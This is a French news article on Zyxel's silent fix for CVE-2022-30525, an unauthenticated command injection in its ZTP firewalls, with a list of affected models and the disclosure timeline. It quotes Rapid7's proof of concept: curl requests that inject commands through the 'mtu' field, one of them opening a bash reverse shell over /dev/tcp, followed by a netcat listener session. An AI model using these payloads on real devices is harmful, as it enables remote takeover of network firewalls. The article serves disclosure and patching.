Zyxel corrige silencieusement la vulnérabilité d’injection de commande avec un indice de gravité de 9,8

Zyxel

Le fabricant de matériel Zyxel a discrètement publié une mise à jour corrigeant une vulnérabilité critique qui donne aux pirates la possibilité de contrôler à distance des dizaines de milliers de dispositifs de pare-feu.

La vulnérabilité, qui permet l’injection de commandes à distance sans authentification requise, porte un indice de gravité de 9,8 sur 10 possibles. Elle est facile à exploiter en envoyant de simples requêtes HTTP ou HTTPS aux appareils concernés. Les requêtes permettent aux pirates d’envoyer des commandes ou d’ouvrir une interface Web Shell qui permet aux pirates de conserver un accès privilégié au fil du temps.

De grande valeur, facile à militariser, ne nécessite aucune authentification

La vulnérabilité affecte une gamme de pare-feu qui offrent une fonctionnalité connue sous le nom de provisionnement sans contact. Zyxel commercialise les appareils destinés à être utilisés dans les déploiements de petites succursales et de sièges sociaux. Les appareils assurent la connectivité VPN, l’inspection SSL, le filtrage Web, la protection contre les intrusions et la sécurité des e-mails et fournissent un débit allant jusqu’à 5 Gbit/s à travers le pare-feu. Le service de recherche d’appareils Shodan montre que plus de 16 000 appareils concernés sont exposés à Internet.

Les appareils spécifiques concernés sont :

Modèle concerné Version du micrologiciel concernée
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 à ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN ZLD5.10 à ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 à ZLD5.21 Patch 1

La vulnérabilité est suivie comme CVE-2022-30525. Rapid7, la société de sécurité qui l’a découvert et l’a signalé en privé à Zyxel, a déclaré que la série VPN des appareils prend également en charge ZTP, mais qu’ils ne sont pas vulnérables car ils n’incluent pas d’autres fonctionnalités requises. Dans un avis publié jeudi, le chercheur de Rapid7, Jake Baines, a écrit :

Les modèles concernés sont vulnérables à l’injection de commandes non authentifiées et à distance via l’interface HTTP d’administration. Les commandes sont exécutées comme le nobody utilisateur. Cette vulnérabilité est exploitée par le /ztp/cgi-bin/handler URI et est le résultat de la transmission d’une entrée d’attaquant non filtrée dans le os.system méthode dans lib_wan_settings.py. La fonctionnalité vulnérable est appelée en association avec le setWanPortSt commande. Un attaquant peut injecter des commandes arbitraires dans le mtu ou la data paramètre.

Voici des exemples de (1) curl qui oblige le pare-feu à exécuter un ping à l’adresse IP 192.168.1.220, suivi de (2) la sortie powershell des résultats, (3) la création d’un reverse shell et (4) ce qu’un pirate peut faire avec le reverse shell :

    1. curl -v --insecure -X POST -H "Content-Type: application/json" -d
      '"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
      :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"'
      https://192.168.1.1/ztp/cgi-bin/handler
      
    2. nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  _ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
      nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   _ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
      nobody   16055  0.0  0.0   3568  1492 ?        S    06:16   0:00  |       _ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1
      nobody   16057  0.0  0.0   2152   564 ?        S    06:16   0:00  |           _ ping 192.168.1.220
      
    3. curl -v --insecure -X POST -H "Content-Type: application/json" -d '
      "command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":
      "1","vlanid":"5","mtu":"; bash -c "exec bash -i &>/dev/tcp/
      192.168.1.220/1270 <&1;";","data":"hi"' https://192.168.1.1
      /ztp/cgi-bin/handler
      
    4. albinolobster@ubuntu:~$ nc -lvnp 1270
      Listening on 0.0.0.0 1270
      Connection received on 192.168.1.1 37882
      bash: cannot set terminal process group (11037): Inappropriate ioctl for device
      bash: no job control in this shell
      bash-5.1$ id
      id
      uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
      bash-5.1$ uname -a
      uname -a
      Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
      Bash-5.1
      

Rapid7 a développé ici un module pour le framework d’exploitation Metasploit qui automatise le processus d’exploitation.

Baines a déclaré que Rapid7 avait informé Zyxel de la vulnérabilité le 13 avril et que les deux parties avaient convenu de fournir une divulgation coordonnée, y compris le correctif, le 21 juin. Le chercheur a poursuivi en disant qu’à l’insu de Rapid7, le fabricant du matériel a publié une mise à jour du micrologiciel. le 28 avril qui a discrètement corrigé la vulnérabilité. Zyxel n’a obtenu le numéro CVE que mardi, après que Rapid7 a posé des questions sur le correctif silencieux, et a publié un avis jeudi.

Selon AttackerKB, une ressource sur les vulnérabilités de sécurité, CVE-2022-30525 est d’une grande valeur pour les acteurs de la menace car il est facile à militariser, ne nécessite aucune authentification et peut être exploité dans la configuration par défaut des appareils vulnérables. Les représentants de Rapid7 n’étaient pas disponibles pour répondre aux questions de base sur l’exactitude de cette évaluation.

Les administrateurs doivent appliquer manuellement le correctif, sauf s’ils ont modifié les paramètres par défaut pour permettre la mise à jour automatique. Les premières indications sont que le correctif n’a pas été largement déployé, car une requête Shodan pour un seul des pare-feu vulnérables, l’ATP200, a montré que seulement 25 % environ des appareils exposés exécutaient le dernier micrologiciel.

Les vulnérabilités affectant les pare-feu peuvent être particulièrement graves car ils se situent à la périphérie externe des réseaux où le trafic entrant et sortant circule. De nombreux pare-feu peuvent également lire les données avant qu’elles ne soient chiffrées. Les administrateurs qui supervisent les réseaux qui utilisent ces appareils concernés doivent en priorité enquêter sur leur exposition à cette vulnérabilité et corriger en conséquence.

Source-147